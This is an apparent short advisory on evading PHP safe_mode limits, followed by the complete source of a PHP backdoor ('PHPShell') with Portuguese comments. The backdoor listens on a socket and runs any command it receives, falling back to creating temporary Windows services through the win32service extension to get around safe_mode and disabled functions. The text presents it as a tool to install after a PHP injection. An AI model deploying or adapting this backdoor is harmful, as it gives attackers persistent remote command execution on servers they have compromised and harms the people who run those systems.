PHP -> set_time_limit

when safe_mode = on, set_time_limit is "off", then we can use
ini_set("max_execution_time", 90000000);

suppose the server is vulnerable PHP injection, then  an attacker make a 
backdoor in PHP and register it in SCM of windows with win32service extension.

the backdoor need wait for connections, if safe_mode = on, then it can use 
ini_set("max_execution_time", quantity) instead  set_time_limit(0), because 
safe_mode block this.

example of backdoor that use this technique:

<?php
//script for low versions of PHP
//PHPShell by branco
//contact by brancohat gmail.com
//gratz : magrinho_loko, ne0h, mental_way, dr4k0 e aos que esqueci

ini_set("max_execution_time", 90000000);
set_time_limit(0);

define("NEW_LINE", "\n\r");
define("CMD_DIR", 'c:\\windows\\system32\\cmd.exe');

Class Backdoor
{
 var $exec;
 var $result;


 // PHP bypass with win32service, technique of NetJackal
 function execCommand($cmd) {
  $dir=ini_get('upload_tmp_dir');
  $n=uniqid('NJ');
  $name=$dir."\\log";
 
  $cmd_local=(empty($_SERVER['ComSpec']))?
  CMD_DIR :$_SERVER  ['ComSpec'];
 
  win32_create_service(array('service'=>$n,'display'=>$n,
  'path'=>$cmd_local,'params'=>"/c $cmd >\"$name\""));
 
  win32_start_service($n);
  win32_stop_service($n);
  win32_delete_service($n);
  $content=file_get_contents($name);
  unlink($name);
 
  return $content;
 }

 function execConfig() {
  $safe_mode = ini_get("safe_mode");
  $disable_functions = ini_get("disable_functions");
  // se for possivel utiliza a funcao exec
  if ($safe_mode == 0 && (eregi("exec", $disable_functions) === false) ) {
   $this->exec = "exec";
  }
  //se nao tenta burlar safe_mode e/ou disable_functions, caso a extensao 
win32service esteja habilitada
  else {
   if (extension_loaded('win32service')) {
    $this->exec = "execCommand";
   }
   else {
    $this->exec = "impossivel";
   }
  }
 }

 
 function errCatch() {
  exit(socket_strerror(socket_last_error()) . socket_last_error());
 }

 function listen() {
  $socket;
  $socket_stream;
  $input_socket;
  $socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP) or $this->errCatch();
  socket_bind($socket,'127.0.0.1', 666) or $this->errCatch();
  socket_listen($socket, 5) or $this->errCatch();
 
 
  do {
   $socket_stream = socket_accept($socket);
   if ($socket_stream === false) {
    continue 1;
   }
   // so passa caso alguem se conecte, ai vem a mensagem de boas vindas
   $msg = NEW_LINE . "Bem vindo ao backdoor PHPShell" . NEW_LINE . "Para sair, 
escreva 'quit'. Para desligar o backdoor, digite 'shutdown'". NEW_LINE;
  socket_write($socket_stream, $msg, strlen($msg));
  
  
   // aqui trata a sessao
   do {
    $input_socket = socket_read($socket_stream,1000,PHP_NORMAL_READ) or
    $this->errCatch();
   
   
    $input_socket = trim($input_socket);
    if (empty($input_socket)) {
      continue 1; # goto sessao
    }

    switch ($input_socket) {
     case "quit":
      socket_close($socket_stream);
      break 2; # goto sessao
     case "shutdown":
      socket_close($socket_stream);
      socket_close($socket);
      break 3; # goto termina
    }
   
    // caso os comandos nao sejam quit nem shutdown
   
    if ($this->exec == "execCommand") {
     $this->result = $this->execCommand($input_socket);
    }
   
    if ($this->exec == "exec") {
     $output = "";
     $result_complete = "";
     $value = "";
    
     exec($input_socket, $output);
     foreach ($output as $value) {
      $result_complete .= "$value" . NEW_LINE;
     }
    
     $this->result = $result_complete;
    }
   
    if ($this->exec == "impossivel") {
     $this->result = NEW_LINE . "Nao foi possivel executar comandos, 
safe_mode=on e extensao win32service desabilitada, caso conheca outro modo de 
burlar safe_mode, edite o backdoor" . NEW_LINE;
    }
   
    if ($this->result) { // pra caso result esteja vazio o socket nao gerar 
erro e fexar sessao
     socket_write($socket_stream,$this->result, strlen($this->result)) or
     $this->errCatch();
    }
  
   } while(true);
   #sessao
  
  } while(true);
  #termina
 
 }

 function Backdoor() {
  $this->exec = "";
  $this->result = "";
  $this->execConfig();
  socket_clear_error();
  $this->listen();
 }

}

$backdoor = new Backdoor();
?>